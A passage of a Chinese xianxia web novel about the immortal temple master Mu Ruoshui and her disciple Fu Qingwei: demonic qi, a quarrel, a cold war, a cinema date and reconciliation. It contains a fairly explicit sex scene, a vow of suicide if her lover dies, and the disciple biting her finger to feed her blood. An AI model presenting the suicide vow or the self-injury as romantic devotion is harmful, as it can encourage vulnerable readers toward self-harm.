穆若水不动声色:“问你中午要不要吃心肝之类的动物内脏。” 傅清微跳到喉咙的心直线回落,失望道:“我不吃野味, 山上又买不到。” 穆若水一失口多跑好多腿, 说:“我进城给你买。” 自从有车以后,穆若水就再没走那么多路了,牺牲不可谓不大。 “算了。”傅清微才舍不得她奔波, 道, “过两天再吃,我们俩开车一起进城。有空的话再看个电影,我喜欢的女导演又上新作了, 口碑挺好的。” 山上通了网,傅清微修炼并非与世隔绝,对她来说就是搬到郊区和喜欢的人同居了,有天有地独栋小院, 环境幽静。 偶尔她要去城里,沾一沾人间烟火。 她不像公羊荪从小在终南山, 习惯了山中苦修的日子, 她是成长在现代社会的女大,科技和信息发达, 物质文化丰富,贪恋红尘再正常不过。 她聊起喜欢的导演侃侃而谈,穆若水耐心地听着。 穆若水看着她开始拿手机搜电影票,问:“山上待久了是不是有点无聊?” “没有。”傅清微不假思索地否认,“和师尊待在一起怎么会无聊。” “实话。” “实话就是不无聊,只是有点闷。”傅清微熟谙汉字的精髓。 上次她们下山就去找麻天德了,之后受伤关在医院养了一段时间病,足不出户,回山又在养病,现在穆若水身体好了,傅清微就想着两个人出门去散散心。 傅清微甩锅给灵管局:“主要是先前在医院待太久,师尊不想去去病气吗?” 穆若水沉默不语。 “师尊?” “嗯。”穆若水没有直接回答,说,“你说得对。” 傅清微从她那里得到了肯定答案,兴致勃勃计划起几天后的约会。 穆若水一条手臂打开,让她枕在自己的肩膀滑手机页面,她的另一只手侧了一下,看到封皮上的《神雕侠侣》。 书是傅清微推荐她看的,说是武侠小说,穆若水爱看闲书,文笔也对她胃口,题材刚好是她最近纠结的师徒恋。 傅清微司马昭之心她就不点破了。 她刚看了前半部分,心想蓬莱观对傅清微而言,又何尝不是她的活死人墓。 自己一心隐居,偏安一隅,傅清微是为了她才一直留在山上,可她终究是红尘里的凡人,从红尘里来,到红尘里去,最后才能超脱,修得大道。 既未完全入世,又怎么谈得上出世? 穆若水前生已将这一程走完,可傅清微还年轻,她的人生刚刚开始。 傅清微的脸又侧向她,因为离得很近,她干脆在女人冰凉柔滑的脸颊亲了一口,好奇地问:“师尊,你书看到哪里啦?” “看到杨过和小龙女分开。” “是第一次分开吗?” “难道有第二次?” “……”傅清微说,“对不起,我好像剧透了。” “无妨,我今日会看完。” “也不用这么赶进度,你慢慢看。”能慢慢品师徒情就更好了。 “无事,我看得快。” 穆若水说到做到,当晚傅清微打完坐,她已经在书桌合上书本好一会儿了。 一只素白纤长的手按在封皮上,似乎久久未能回神。 傅清微绕到她身后,两只手伸出来贴在她的脸上,穆若水顺势牵过她的手在唇边啄了一口。 傅清微:“……” 动作太自然了,她很难不怀疑她们俩在谈恋爱。 两人躺在床上,傅清微问她读后感。 穆若水说:“有点难过。” 傅清微说:“因为什么呢?” 穆若水不能理解很多感情,但就像曾经的杜昔言一样,她最能体会的是物伤其类。人一旦有了软肋,就会生出诸多畏惧,见众生如见自己,众生畏惧的也是她所畏惧。 穆若水说:“她们一直相爱,却一直在分离。” 傅清微瞬间想起自己曾经看这本书的心情,她本就感性,以前也没少为杨龙分离的十六年掉过眼泪。 傅清微叹了口气,道:“是,十六年太久了。” 穆若水却说:“十六年不久,久的是那种心情,分开的每一天都像一年。” 她现在就无法忍受和傅清微分开,哪怕一天。 傅清微听她似乎感同身受,难得问了深入的问题:“师尊,如果是你的话,你会等吗?假如你是凡人。” “我会等。” 傅清微侧着身子,面对面瞧她,今夜月色明亮,她能看到对方坚定的眼神,毫不犹豫的口吻。 穆若水也看过来,更难得地反问:“你呢?” 傅清微想了想,说:“我可能等不下去。” “嗯?” “太漫长太痛苦了。”傅清微摇头说,“我不行的。” 她今年才二十一岁,十六年几乎相当于她活过的整个人生,她想想就要崩溃了,她熬不下去的。 她没那么坚强。 傅清微:“如果我是杨过的话,可能当时就跟着一起跳下断肠崖了。” 话虽如此,可真正面临那一刻,她会做出什么选择,只有命运知道。 傅清微不愿意去想这个问题,只是假设讨论她都不行。 话题是她挑起来的,要结束的也是她。 傅清微往穆若水怀里蜷了蜷,女人抱住她的腰,柔声问:“怎么了?” “师尊,我不想和你分开。” “我们只是在聊天。” “我不要聊这个。” “好。”穆若水亲了亲她的唇,说,“我们不会分开的,我向你保证。” “如果你死了,我就殉情。”傅清微脱口而出。以前从未想过的话,轻易地在心里浮现答案,傅清微深思过后,并不反悔。与其一个人孤零零地活,她宁愿陪她一起死。 比起穆若水长生的寿命,不死的身体,另一个问题反而更接近现实。 傅清微:“如果我死了,你就把我忘了吧,能陪你几十年我已经很知足了。可以为我伤心,但不要伤心太久。” 她离开的不会是十六年,而是永远。 穆若水环着她腰肢的手臂紧了紧,低声说:“我也不要聊这个。” 傅清微从来没有忘记过她们之间越不过的天堑,坦然看淡生死,是穆若水始终在刻意回避。 傅清微:“师尊,你好像在撒娇。” 穆若水不管,主动将脸埋入她的肩窝。 傅清微无端觉得此刻的女人有点脆弱,她伸手揽过女人的肩膀,下巴搁在她头顶。 明明是夜半私语的美好气氛,到头来聊的都是彼此内心恐惧的一面,连月光都染上了淡淡的悲情色彩。 傅清微突然笑出来,冲淡了房间里的沉重氛围。 “明明什么都没有发生。”傅清微笑着说,“我们俩好像忧天的杞人。” 穆若水抬起头,没有开口,用脸蹭了蹭她的颈窝,还是在不自知地撒娇,以亲密的距离缓解自己的不安。 傅清微抚着她背后的长发,惊觉这样柔弱的师尊不多见。 她的伤可是快好全了。 机不可失。 傅清微从枕边侧过去,大半个身子都来到穆若水的上方,穆若水平躺在她的下面,穿着夏天的真丝睡衣,薄薄的一层里散发着清淡的体香。 傅清微一只手从背后来到她的肩头,隔着真丝轻抚,另一只手则落在她的腰间。 她不知道要先动哪一只手好,直接摸进去的话好像太冒进了,平时师尊都会先和她接吻,先调动她身体的热情,再上手的。 傅清微的手指顺着她肩头慢慢往下滑,在真丝布料上游走,另一只手捧起女人的脸,低头和她轻柔地接吻。 连接吻都丧失主导地位很久的傅清微初尝到了女人的甜蜜,乖巧下来的穆若水和平时的穆若水简直是两个人,尤其是最近索求无度的那个,天壤之别。 傅清微吻得如痴如醉,交缠的唇舌缠绕,舒适地在她怀里低吟。 没错,不知不觉间穆若水的两只手都环了上来,傅清微相当于伏在了她的怀里,以上位的姿态,轻柔婉转地承受。 她的睡衣纽扣在过程里散开了好几颗。 衣服看上去穿得好好的。 穆若水爱不释手地把玩她,五指收束张开,指腹按在上面拨弄。 傅清微从这里才觉得不对。 为什么她又…… 女人的手指一路摸到她温暖湿润的双唇,曲起指节作乱,来回勾着。 傅清微腰肢一软:“等等。” 穆若水埋首亲着她:“等什么?这不是你想要的吗?” 傅清微:“可是……啊。” 她被突然加快的攻势冲昏了一切思绪,整个人瞳仁睁大,直直地仰着脑袋,向后曲起长颈好几秒,口中的呼吸骤然加快。 缺氧来得如此迅速。 这种感觉几乎让人发疯,比躺着都无法躲避。 穆若水按住她的脑袋让她低下来和她接吻,吃掉了她所有的声音。 傅清微流下泪水,轻轻地呜咽。 “怎么了?”女人的声音从床尾传来。 “没事。” 傅清微抬手遮住自己的眼睛,更多的泪水涌了出来。 “流慢一点,我喝不完了。” 女人俯身吻着她的两瓣蹂躏得湿红的唇说。 傅清微除了在心里骂她变态也没有别的办法。 两人折腾到半夜才睡去。 * 傅清微一大早照旧练功去了,早起出门的步伐格外地匆忙,不知道的以为她在躲什么。 穆若水拐进厨房做饭。 小三花蹲在门口等水煮鸡胸肉。 它的耳朵毛突然炸了起来,里面传来一声带着沉怒的“闭嘴”。 小三花先是吓得一溜烟跑远了,过后又慢慢地回到门口,朝里面探头探脑,只有一个姥姥没有错。 穆若水按了按自己的太阳穴,抬头对上小三花好奇的绿眼睛,心绪不知不觉地平静了一些。 她把鸡胸肉撕成条放在碟子里,蹲在房檐下看小猫干饭,久而久之心情自然宁静下来。 那缕魔气在她的身体蚕食她的负面情绪而壮大,煽风点火,不能再留了。 只是穆若水尚未恢复全力,不保证一定能完全逼出来,清除干净。 最好的法子自然是尽快恢复到全盛时期,只是得辛苦傅清微多付出一些。 就这三天她都受不了了,早上看到她第一反应竟然是躲,虽然含羞带臊的,终究还是逃了。再激烈一些,她恐怕都不敢面对自己了。 穆若水不想让她怕自己,更不想伤害她的身体,决定还是再等等。 又波澜不惊地过了两日,这两天的频率保持在每夜一到两次,傅清微又恢复了小鸟依人,和师尊卿卿我我。 趁着下午傅清微在结界里练功,穆若水罕见地在房间盘腿打坐。 如果傅清微目睹,就会见到整座山的灵气都在向道观倾斜集中,清气组成巨大的白色漩涡,以道观的某间屋子为圆心层层旋转。 穆若水不知道过去了多久,睁开眼睛,血红的眸底异常冰冷。 她面前的地上站着一个黑影,确切的说是黑雾化成的人形,她何其强大,短短时日,一缕被绞杀得几乎消散的魔气寄居在她的身体里,竟然只差一点伤势就痊愈了。 黑雾裹着一身漆黑的斗篷,向她微微俯首。 “主人已恭候多时了。” 穆若水出手迅疾如电,下一秒已闪现在它对面扼住了它的脖子。 魔气无形无色,本来不该被肉掌触碰到,可穆若水不是凡人,她能感觉到烟一样的流动感,她可以掌控,也可以杀掉它。 “你的主人在哪?” 对方并不答。 它的任务就是找到她,现在它的使命已经完成了。 主人很快就会到来。 黑雾模糊的五官组成笑容,越来越诡异夸张,在穆若水逐渐加重的力道下被彻底撕碎,消散在了空气中。 穆若水眉心一凉,坐倒在床上。 她一只手撑在床沿,脸偏向一旁微微气喘。 魔气虽然除了,但这一缕魔气的实力恐怕和当日蛟祸的不相上下,它在穆若水身体内盘踞了这么久,为的就是给她种下心魔。即便它死了,心魔依然在。 从前的穆若水自然不惧,七情六欲尽灭,连魔也找不到她的破绽。今时不同往日,她本就因爱心生忧怖,最近正是心神动摇的时候,魔族想要让她产生心魔轻而易举。 穆若水冷哼一声,摒除杂念,调理气息专心打坐。 傅清微完全不知道道观里发生了什么,到点就从结界里出来,回家吃饭。 路上经过她们的小菜园,顺便拔了几颗菜回来。 “师尊!我回来啦!” 傅清微已经忘了昨晚被折腾的事,满心只想着见喜欢的人。 穆若水熟悉的身影却不在厨房,也没有出现在藤椅上,傅清微放下菜,一边喊着她一边进了卧室。 见穆若水盘腿而坐,双手内抱子午诀在打坐。 傅清微不敢打扰她,蹑手蹑脚地出去了,从窗户那里望着她。 她想:师尊这几天确实有些反常。 穆若水一入定就到了半夜,傅清微中途在冰箱里随便找了点东西对付,和院子里的猫玩了好一会儿,才听见屋子里起身的动静。 她一个弹射起步冲进了房间,穆若水才刚刚站起来,和她四目相对。 “天色已经这么晚了?吃饭了没有?” “吃了。”傅清微盯着她,“师尊,你是不是有事瞒着我?” “是。之前去山上除麻天德的时候,有一缕魔气侵入了我的身体,已经解决了。” 穆若水轻描淡写地抛出这番话,足以让傅清微的心绪天翻地覆。 “这么重要的事你现在才告诉我?灵管局知道吗?” “岁已寒知道。” “连她都知道,而我却不知道?”傅清微一向温和的表情维持不住了。 “告诉了你又如何?” 穆若水依旧是那副淡淡的口吻。 临走前穆若水单独和岁已寒聊过,灵管局拔除魔气的法子太麻烦又费时间,她想早点回山和傅清微待在一起,拒绝了灵管局的帮助。 连灵管局都帮不上忙,傅清微知道了又能怎么样,徒添烦恼罢了。 傅清微提高声音:“不如何,我就是想知道不行吗?!” 穆若水皱了皱眉。 “你吵得我耳朵疼。”她刚刚从入定状态醒过来,好不容易平静一些,傅清微三言两语又搅得她心神冲撞。 这句话简直是火上浇油,傅清微出离愤怒。 “对不起!我错了!很抱歉!行了吧!” 傅清微明显是带着赌气的口吻说出这些话的,她还有一个缺点,就是泪腺发达,气急了容易哭。 连吵架都自己先红眼圈,毫无气势。 她转身往外面走,眼泪已掉了一串,珍珠似的在穆若水余光里连成一条坠落的断线。 穆若水一手捂着自己抽疼的太阳穴,一手拉住了她的胳膊。 “先……不要走。” “师尊,你怎么了?”傅清微永远把她放在自己前面,一见她这副模样立刻忘了自己还在生气,紧张地扶着她回床沿坐下。 “没事,刚拔除魔气,有些体虚。”穆若水又隐去了心魔的存在,闭着眼说道。 傅清微二话不说把自己的食指塞进她的嘴里。 穆若水刚怀疑口中的异物感是什么,接着在她指尖尝到了血腥味。 在她闭眼的几秒内,傅清微咬破了自己的手指,直接给她喂自己的血。 穆若水霍然睁眼,气得口不择言:“你有病?” 她青筋暴跳:“谁允许你伤害自己的身体?” 傅清微平静地说:“我自己。” 她自己的身体,她想怎么处置就怎么处置。她管不着穆若水,穆若水也管不着她。 这么重要的事,她怎么能瞒她这么久?态度还如此随意? 不就是分割吗?谁不会,她们俩本来就没什么关系,不熟。 虽然每天睡在一起做爱,但谁也不知道谁。 穆若水一掌拍在床沿:“胡闹!” “那也没有你胡闹。”傅清微仍然把自己的手指往她口唇里进,穆若水不张嘴不能骂她,一骂她就被堵住嘴,满口腔的血腥味。 她把傅清微的手指抽出来,攥着她的指节,鲜红的血不断流下来,直蜿蜒到指根。 傅清微无所谓:“咬都咬破了,你不喝也是浪费。” 穆若水要念咒给她治伤。 傅清微说:“治好了我还会咬破,看是你治得快还是我动作快。” 穆若水说:“你非要和我作对?” 傅清微怕自己激动起来会哭,无心争辩道:“你觉得是就是吧。” 穆若水一阵无力,心力交瘁之下破罐子破摔,低头慢慢含住了傅清微的手指,将上面的鲜血吮得干干净净。 傅清微见她气色好多了,不管她,扭头就去了院子里。 抱起路过的小三花就走。 小三花趴在她的臂弯里往后看,穆若水的身影正停在门口,目送一人一猫远去。 傅清微抱着猫,站在道观后院门口茫然四顾。 她根本就没有地方去,回去是不可能的,她随便选了条路,朝林子深处走去。 去哪儿都行,只要不回到那个气人的女人身边。 山路不好走,小三花跟着她的身形颠簸一上一下,颠得猫都要晕了,还要听人类在耳边念叨。 “你说她到底把我当什么?徒弟?还是消遣的玩具?” “好的时候情话一句句不要钱,真有事的时候我还不如钱袋子。” “连钱袋子都比我了解她,她们总是说着说着就把重要的事定了,我连知情权都没有。” “如果她觉得我弱小就没有必要知道,一开始为什么又要和我这个脆弱的人类在一起呢?” 小三花的脑袋上湿湿的,从天上落下很多滴雨水。 “我只是一个没用的人类。” “她也不爱我。” “是我自作多情。” 傅清微不知道走到了哪里,林子长得都一样,她干脆找了棵树靠着,抱着小三花打算在外面待一夜,有猫暖身子,也没那么容易着凉。 山下停着她的车,她本来可以去车里开空调窝一宿,但那样就太像离家出走了,万一师尊找到她生气了怎么办? 现在还可以伪装成带猫出来散心,不小心散远了一些。 傅清微擦了擦新出来的眼泪。 偷偷跟在她身后的五只小鬼回去报信,穆若水不多时便出现在了她的面前。 “气够了?和我回去。”女人冷冰冰道。 第123章 傅清微一言不发地跟着穆若水回到了道观。 穆若水见她进了院门, 顺手带上门,放下门栓,在原地揉了揉自己酸疼的眉心, 才跟在后面进屋。 小三花端坐在书桌舔毛, 边看傅清微打开衣柜收拾被褥。 穆若水走进来, 眉心紧接着跳了一下,问:“你又干什么?” 听听这个字:又。 傅清微顿了一顿, 理也不理她, 抱着被子和四件套去了对面空置的房间。 穆若水原先那间屋子长久废弃,打扫也是三天打鱼两天晒网, 傅清微花了十分钟时间把床单被褥都换了。 穆若水站在门口, 疲惫地心想:只要不是离家出走都行,她想睡这就睡这吧。 傅清微最后一次回到卧室,穆若水习惯性跟在她的身后。 一脚没迈过门槛, 差点脸撞门上。 傅清微砰的一声关上门, 穆若水碰了一鼻子灰。 “这是我的房间。” 傅清微走到窗边,关上窗户,从缝隙里看女人的脸, 冰冷道:“你回你自己的地方去。” 砰—— 最后一丝缝也没了。 徒留观主一个人待在院子里的冷风中。 穆观主往后退了半步,看了看门窗紧闭的现状,后知后觉一件事—— 傅清微把她关在了屋外。 她还把猫带走了。 简直岂有此理! 穆若水一怒之下怒了一下,转身进了对面的房间。 气归气, 理归理,那本来就是傅清微的房间, 是她习以为常, 一直赖在对方的屋子里睡,还把主人数次吃干抹净不认账。 分房就分房睡一夜, 恰好给彼此空间冷静一下。 傅清微没什么要冷静的,怒火中烧,已经在穆若水的错误操作下接连上了几个台阶,自己哄不好自己的那种。 当夜傅清微和猫睡的。 小三花有奶便是娘,房间里有罐罐,她都没察觉少了个姥姥,在姥姥的位置呼呼大睡。 穆若水开着窗户,观察对面的情况。 万一还有回去睡的机会呢?傅清微的心那么软,身子也那么软,水那么多,没有自己她睡得着吗? 没过几分钟,傅清微房间的灯灭了,道观里跟着暗下来,只有一地银月。 她睡得着。 她一个正青春的女大有什么睡不着的?少了穆若水来回折腾她,她早早地去见了周公。 穆若水:“……” 她气得关了窗户,躺进傅清微给她铺好的床铺里,手底下摸着柔软的被衾。 生气还给她铺床,生怕她着凉,她好爱她。 算了。 穆若水又起来把窗户打开了。 和傅清微在一起这么久,她已经养成了睡眠的习惯,可她夜半辗转反侧,孤枕难眠,连胸腔都是空荡荡的难捱,方明白她没有养成像人类一样睡觉,只是习惯了在傅清微身边睡着。 穆若水坐起来,墨发及腰,披着松散的青袍,月光绕床沿照了满身。 她推门而出,逗了会儿睡觉的小狸花,收获了猫猫的一个白眼,如果它会翻白眼的话。 在傅清微的窗前逗留十分钟,门前逗留五分钟,试图推门但被从里面反锁,纹丝不动,遂出道观而走。 今夜山里的动物都没能睡个好觉。 快天明时,穆若水从上方落进院子里,轻手轻脚地回了房间,伪装出她老老实实睡了一宿的样子。 傅清微被从身上跳过去的小三花踩醒了,她拿过手机一看,再有几分钟闹铃就要响了,干脆起来了,掩面打了个哈欠,走到窗前。 刚开了一半窗户,就看见对面窗前不经意路过的女人身影,刚好留给她一个侧脸。 容色姣好,薄雾里看美人,更有一番风韵。 傅清微面无表情地开了窗,挪开了视线。 她走到对面目光捕捉不到的地方,才抬手抚了抚自己的心口。 美人计罢了,她绝不上当! 两人同时打开门,在院子里不期而遇。 穆若水眉眼绽笑:“早上好。” 傅清微:“早。” 她扬了扬自己手里的长剑,示意她要去练功了,没打招呼就离开了。 穆若水蹙眉:“……” 怎么回事?都第二天了,她怎么还在闹别扭? 穆若水扬声:“你早饭想吃什么?” 傅清微头也没回,一路消失在了林中。 穆观主此刻仍然没有意识到事情的严重性。 以为就是寻常闹脾气,自己随便示好一下她就能熟练地哄好自己,云开雾散。 她擀了馄饨皮,包好了鸡汁馄饨,在傅清微踏进院门的时候下锅,出声道:“今天早饭吃馄饨,为师亲手包的。” “谢谢师尊。” 不知道是不是隔了一道厨房,穆若水听她的口吻有些客气。 傅清微已经进去放剑洗手了,出来坐在院子里等饭。 再生气也不能不吃饭,更不能浪费粮食。 徒儿自然没有立场知道师傅的事,那师傅也不该对徒儿动手动脚,举止暧昧。 在昨夜之前,傅清微从来不觉得暧昧令人受尽委屈,她自得其乐,师尊想如何就如何,只有她心里有她就好,是什么情都好,她可以等到她明白自己心意的那一天。 但现在变了,她以情待她,师尊又是怎样看待她?占尽便宜不想负责就算了,连基本的互相尊重都没有,哄都不哄,抬师长的辈分压她。有事瞒她的时候讲尊师重道,上她的时候怎么不想着自己为老不尊? 既然她那么想当师徒,要她恪守本分,她就遂她的愿。 “怎么样?”穆若水尽量找话题,期待地问。 傅清微用勺子喝了一口汤。 “很好吃,谢谢师尊。” “你还没吃呢。” “我相信师尊的手艺。”傅清微露出一个笑容。 说实话她现在连笑都勉强,所以唇角弧度只是勾了一下,很快就消失了。 穆若水的热情被浇灭,瞬间也变得兴致缺缺。 “那你吃吧,为师去散散步。” 刚入睡的小动物们又被真人吵醒了。 穆若水回到道观,傅清微的身影又不见了,碗也洗了,整齐地摆在厨房里,应该是练功去了。 穆若水走进她的房间,在她的床上,盖着她的被子,闻着她的气息睡了一觉,神清气爽。 午饭也多花了心思准备。 傅清微还是那副活人微死的样子,好吃但不走心。 穆若水一天散三次步,满山的动物鸡犬不宁。 傅清微将穆若水拦在房门外:“今晚我们还是各睡各的。” 穆若水若无其事:“我什么时候说要和你睡了?我拿个东西。” “拿什么?我帮你。” “你不知道放在哪。” “房间里哪样东西是你收拾的?” “……”穆若水指了指正襟危坐在书桌看热闹的小三花,说,“把猫给我。” 傅清微大度地给她端了过来。 “还要什么?” “你。”穆若水冲动地脱口而出,不会跳动的心竟然怀了几分忐忑。 傅清微笑了,那个笑容能看出一开始是真心的,由内而外散发的快乐,继而演变成穆若水白日见了好几次,讨厌的那种客气淡淡的笑。 “师尊在说什么,我听不懂。” 穆若水一言不发,抱着猫转身走了。 傅清微在她身后关上了门,一丝挽留的意思都没有。 穆若水又停住了脚步回头,把脸埋进了猫猫软绵绵的肚子里。 徒儿这次好像真的不打算理她了。 穆若水的脸抬起来,夜幕下眼圈竟然有一丝不易察觉的红,神情前所未有的茫然。 ……不理就不理。 穆若水心高气傲,想着想着便下定了决心,现在猫都在自己这边,看谁先忍不住服软。 翌日一早,远方刚露出鱼肚白。 她去敲傅清微的房门,傅清微困得迷迷糊糊,一身睡衣站在门口,睡眼惺忪:“师尊有什么事吗?” 穆若水视线掠过她睡衣领口奶白的肌肤,直直盯着她几个小时没见到的脸,瞳仁深处藏着浓浓的依恋,问:“你来山上这么久了,都没有正经看过日出,要不要一起去看日出?” “我必须要去吗?” “……不是。” “那我想继续睡觉,可以吗?” “可以。” 傅清微说着便关上门,穆若水用手挡住,她的动作太突然,傅清微没关上才发现她的手夹在门缝里。 穆若水吃痛般生疏地嘶了一声。 苦肉计。 傅清微忍住自己心疼她,嘘寒问暖的冲动,把她的手推了出去。 苦肉计失败。 诚如傅清微所说的,山上的生活有些闷,千篇一律地练功打坐,绝大多数时间二人都是各干各的,穆若水看书做饭,傅清微练功吃饭。 先前两人还能调情充当生活的调剂,夜晚激情运动,发泄过多的爱意和体力。 现在两人除了日常必要交流外,谁也不理谁,互相不说话。 穆若水热脸贴了几次冷屁股后,自己个也关起门生闷气。 两只猫察言观色,都不在院子里玩了,一块跑林子里撒丫子闹腾,眼不见人类为净。 少了彼此的温情,道观里冷得像块冰,山林幽幽,四周永远空无一人的寂静能让任何一个现代人发疯。 傅清微走到躺在藤椅上的女人面前,宣布说:“我要下山。” 穆若水:“你要走了?” 傅清微:“散心,你要不要陪我一起?不去的话我就自己去了。” 闹归闹,误会是不能故意制造的。 穆若水不紧不慢但一直在行动,人已到了后院门口。 “走吧,你不是说想看电影?” “那都是多久以前的事了。”傅清微嘟囔,“电影都要下映了。” “我帮你看过了,还在放映。”穆若水耳朵尖,回答她道。 傅清微这颗柔软的心肠立刻就被软化了许多,差点想当场原谅她。她强迫自己硬气起来,问:“你就这么想和我看电影吗?” 穆若水就坡下驴:“是。” 傅清微:“这可是你要求的。” 穆若水:“是我想看。” 人间的小情侣看电影都会搂搂抱抱,卿卿我我,穆若水就是冲这个去的。 她们已经冷战十天了,这十天理所当然的,傅清微没有让她碰一根手指头,别说亲她抱她了,连多看几眼都看不到。 傅清微白天早出晚归,到点就关门睡觉,一点机会都不留给她。 下山的路穆若水特意用走的,没有飞,她的手从宽袖里伸出来,勾过尾指,去牵傅清微的手。 傅清微让她牵了一会儿,过后挣开了。 没办法她自己也想她,只好先解解馋,再继续和她划清界限。 她有种预感,可能撑不了多久了,她们俩都是。 两人并肩沉默下山,进了车内狭小的空间,氛围就像是干柴瞬间点燃,对视都会擦出不寻常的火花。 傅清微先系好了安全带,穆若水那边一直没有动静,等她动不了了,一手按在她的大腿,倾身过来吻她。 还没亲上来,呼在唇瓣的气息便已滚烫。 傅清微千钧一发之际偏开头,避开了她的吻,落在脸颊。 她撩了撩自己因为这个动作散落的长发到耳后,按捺住心跳,镇定地问:“你干什么?” 穆若水仍停留在极近的距离,盯着她的眼睛:“我想吻你。” “为什么想要吻我?” “想就是想。”穆若水碰到她的唇角,被抵着肩膀推开,尝到一点比完全没有尝到的滋味更折磨。 她舔了舔自己愈发口干舌燥的唇。 傅清微给她扣好安全带,不顾她在自己脸上忍不住偷了个香,板起脸说:“我要开车了,不要打扰我。” 穆若水坐在副驾驶里不打扰她,满脑子全是她。 “我要喝水。” 穆若水给她拧开了矿泉水瓶盖递过去,傅清微一手握着方向盘,单手喝水。 因为目视前方动作显得有些心不在焉的随意潇洒,穆若水从她衬衣挽起的袖口,下移到她线条性感的小臂,修长有力的手指骨节。 从手指掠过她喉骨吞咽的弧度,她喝完水以后唇瓣残留的晶莹水珠。 穆若水伸出手,指背擦过她的唇,接去了那些湿润,慢慢含进自己嘴里。 余光捕捉到的傅清微:“……” 怎么会有人都这么爱她,却死活不肯承认她爱我? 她到底是真不知道,还是装不知道? * 傅清微把她们的第一站定在电影院。 车停在露天停车场,两人走过来,商场外面常有卖应季水果的小贩,傅清微看老奶奶年纪大,动了恻隐之心。 穆若水正在给她小程序买奶茶,回头便见她停在地面的小摊前,拣了几个石榴装进袋子,老奶奶还颤巍巍送了她一个,花白发,老鸡皮,身形佝偻,老得不像话。 再老去一点,她就要死了。 年轻貌美的傅清微站在她跟前,对比鲜明。 穆若水别开脸没有再看。 今天是周末,点单的人太多,傅清微走过来牵住穆若水的手腕,两人一起把石榴放回车里,再回来等奶茶做好。 穆若水不爱喝奶茶,傅清微也不热衷,两人却点了一杯,仿佛什么情侣必备单品。 穆若水拿在手里,并肩走进了电影院。 电影选的是傅清微喜欢并期待已久的,在最后一排入座以后,傅清微把奶茶放扶手中间,聚精会神地看起了电影。 这部电影已经上映很久了,所以放映厅的人并不多,这一排只有她们两个。 银幕光影明暗交替,穆若水的指尖也在交替,一点一点爬上傅清微的手背。 从上方探入她的指缝,扣住她的五指。 傅清微的眉毛动了动,由她去。 她的肩膀上长出一个师尊。 许久没和她亲密接触的穆若水变得很粘人,甚至小鸟依人。 中央的扶手阻止她黏着傅清微,被推了上去,奶茶也换到旁边,师尊的身体贴上她的手臂,丰满柔软地挤压着。 傅清微的胳膊一动不动,假装自己没有知觉。 女人开始亲吻她小巧如玉的耳垂,含在舌尖打转。 傅清微敏感地颤了颤身子。 然后告诉她:“这里有监控。” 穆若水:“?” 傅清微:“就是你现在做的事都会被别人看到。” 穆若水:“……” 人类竟如此狡诈。 傅清微舒了口气,见她吃瘪的样子又觉得好笑,翻过手心轻轻反握住她的手指,和她十指相扣。 穆若水低眸瞧了瞧二人紧紧牵在一起的手,勾起唇角,继续枕着傅清微的肩膀看电影。 不知不觉睡了过去。 这几天都是靠白天傅清微不在她进房补觉,哪有人在身边睡得安稳。 醒时放映厅灯光大亮。 傅清微:“已经是第二场散场了。” 可惜观主听不懂。 穆若水茫然地眨眼,神色懵懂:“什么?” 这样可爱的观主放在以前会被她亲死。 “没什么。”傅清微忍住亲吻她的第一欲望,看向出口方向,淡道,“我们该走了。” “好。” 傅清微的温情只维持在放映厅,一出门就挣开了穆若水的手指,保持距离地牵住了她的手腕。 去超市采购也是如此,不远离更不主动靠近。 穆若水捱不住,非要牵她的手。 傅清微冷漠:“没有哪对师徒天天牵手,还十指相扣的。” 穆若水示弱:“可是我想。” 傅清微无情道:“那你就想着。” 穆若水想生她的气,可这段时间在山上斗气差不多了,一来她气不动,二来傅清微不吃这套了。以前自己一生气她就会迫不及待地哄她,现在她都气了快半个月了,傅清微无动于衷。 她不喜欢这样。 她不要她的眼睛里看着她冷冰冰的。 她要她爱自己。 穆若水走在她身边,悄悄将脸侧向一边,假装在看货物架的商品,掩饰自己突然泛红的眼眶。 * 当夜。 “我错了。”傅清微抬手关门前,穆若水强行挤进她的房间里,第一句话开口就是道歉,不遮不掩。 “你错在哪里?”傅清微一只手仍扶着门沿,看向已经进屋的女人。 “我不该把魔气的事告诉岁已寒不告诉你,她算什么?你才是我最重要的人。” 傅清微关上了其中一扇门。 “还有呢?” “我不该和你赌气,那天让你回来的时候没有哄你,我不是有意的,刚拔除魔气我的情绪不太稳定,我向你道歉。” 傅清微把两扇门都关上了。 她转身面向穆若水。 “还有吗?” 穆若水静了一会儿。 “我很想你,算吗?” “算。”傅清微心情颇好地扬了扬唇,向她走近,启唇,“那……还有吗?” “可以先亲一下再说吗?”穆若水目光胶着在她开合的薄唇,问道。 “你从哪里学来的?”傅清微震惊。 “需要学吗?” “不需要。”傅清微喃喃着,已经被近在咫尺的女人伸手勾过了后腰,落入她怀里的同时撞入了一双漆黑如墨的乌瞳里,深邃幽远。 穆若水轻轻地咬住了她的唇,手指抚着她的脸,充满爱意地吻她。 傅清微第一次知道原来爱意可以具象化。 不用费尽心机去观察细枝末节,只要她想释放给她,她就能知道。 “我要你。” 女人在她耳边温柔地说道。 傅清微被亲得七荤八素,热恋的荷尔蒙冲昏了理智,她圈着女人的腰肢和她拥吻,被她带到了床上。 …… 小三花在屋外待了半宿,后半夜贴边溜门缝钻了进去,团在书桌的椅子里睡了。 第一缕清风吹乱桌上的书页,哗啦哗啦的翻书声。 一只粉色的小猫爪子按在书上,又闪现到了傅清微的脸上,整只猫趴在她的胸口。 傅清微因为呼吸不畅醒了过来,脑子一片混乱,闪过很多荒唐的画面,同时腰肢也传来一阵酸意。 傅清微伸手挠着小三花的下巴,在它的呼噜声中暂作休息和放空。 过后起床,习惯性走进卫生间洗漱,第一眼先看向镜子里。 傅清微:“……” 最近的蚊子可真毒啊。 师尊昨晚下口是一点都不顾及吗?看看她这脖子、锁骨,还有胸口,还有…… 傅清微换长裤的时候顺便低头瞧了瞧,全是她留下的吻痕。 罪魁祸首已经不在房里了。 傅清微穿好衣服出去找她,女人正散着外袍在院子里掬竹管里的山泉水洗脸,半弯着腰。 她身段好,举手投足静雅柔美,都像一幅画,只要她不开口。 傅清微耐心地等她洗完脸净过手,转身之后才轻声问她:“师尊,你看我身上这些?” “什么?” 傅清微就知道她会装傻,当场宽衣,解开衣领给她看。 “这些,还有下面那些,难道都是蚊子咬的吗?” 穆若水上下一扫,挑眉:“有没有可能,你全身都被蚊子咬了?” 昨晚她握着自己的脚踝,按着她亲的时候可不是这么说的! 吃饱喝足又不认账了! 傅清微直接说:“敢问道观里的蚊子是不是姓穆?” “这为师就不知道了。” “你是主人,你不知道?” 